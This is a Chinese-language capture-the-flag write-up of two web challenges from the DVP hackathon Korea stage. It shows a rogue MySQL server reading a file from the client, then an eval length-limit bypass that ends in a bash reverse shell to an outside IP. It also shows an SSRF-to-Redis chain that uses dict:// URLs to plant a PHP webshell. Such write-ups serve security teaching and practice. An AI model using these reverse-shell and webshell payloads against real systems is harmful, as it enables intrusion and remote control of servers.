查看原文
其他

DVP黑客松大赛韩国站Web题目Writeup

DVP基金会 DVPNET 2021-03-06


                                

DVP全球黑客松韩国站

Web Challenges



本文由白帽汇高级安全研究专员R3start撰写


Controllable Database Connection


打开网站提示“Please connect to the database first” 还有一个 Connect的链接 所以应该跟数据库有关


点击链接后发现URI 多了/#mysql.php  看来是个提示


访问mysql.php  提示 Error   常规套路扫一波源码

得到备份文件 /mysql.php.bak  获取到源码


发现连接地址、用户名、密码参数可控,看来考点是mysql伪造恶意服务端读取客户端文件,按照泄露的源码来看,应该是要读 /Flag.php 文件

通过连接自己公网开启的恶意mysql服务端读取成功读取到Flag.php 的源码


Flag.php 是一个简单命令执行绕过,限制使用eval、assert函数和长度不得超过11位,满足以上两个条件进入eval函数执行


我们可以使用反单引号执行命令,并通过$_GET传入我们需要执行的命令,长度刚好11个字符内
/Flag.php?param=`$_GET[1]`;&1=/bin/bash –i >& /dev/tcp/123.123.123.123/80880 0>&1

成功反弹shell 并获取到Flag





Unsafe Access


打开网站只有一张logo和一个提示 6_79?很自然的就想到应该跟6379,redis有关

右键查看源码发现一个被注释的链接


测试发现此接口存在SSRF漏洞

扫描备份文件获取到link.php的源码,只是简单的进行了一些过滤,限制了gopher和127、localhost 等字符 


联系首页的6_79提示,看来这题是常规的SSRF配合Redis拿Flag。使用dict协议写入redis、使用0 代表当前IP或域名解析等方式即可绕过访问本地限制。尝试反弹或者写私钥,均没有成功应该是权限过低的原因,于是尝试写webshell,成功写入恶意代码,获取到Flag。 写入恶意代码:(<? 等特殊符号需要转义,不然问号后面会导致截断无法写入)
/link.php?u=dict://0:6379/set:shell:"\x3C\x3Fphp\x20echo`$_GET[x]`\x3B\x3F\x3E"

设置保存路径:
/link.php?u=dict://0:6379/config:set:dir:/var/www/html/

设置保存名字:
/link.php?u=dict://0:6379/config:set:dbfilename:shell.php

保存:
/link.php?u=dict://0:6379/save

成功写入





END

 


关于DVP

DVP 全称 Decentralized Vulnerability Platform(去中心化漏洞平台)旨在利用区块链技术,建立匿名化的安全众测社区场景,打造去中心化、漏洞即挖矿的平台概念。DVP致力于解决区块链企业安全危机,将连结区块链厂商、安全公司和白帽子等社区参与者,以最小的成本最大化减少漏洞暴露风险,共筑区块链生态安全。


更多信息,请访问 https://dvpnet.io

合作联系:service@dvpnet.io


  


扫码添加小爱同学,加入DVP官方社群,获取更多最新动态!

扫码添加DVP小助手,咨询反馈相关技术问题。



    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存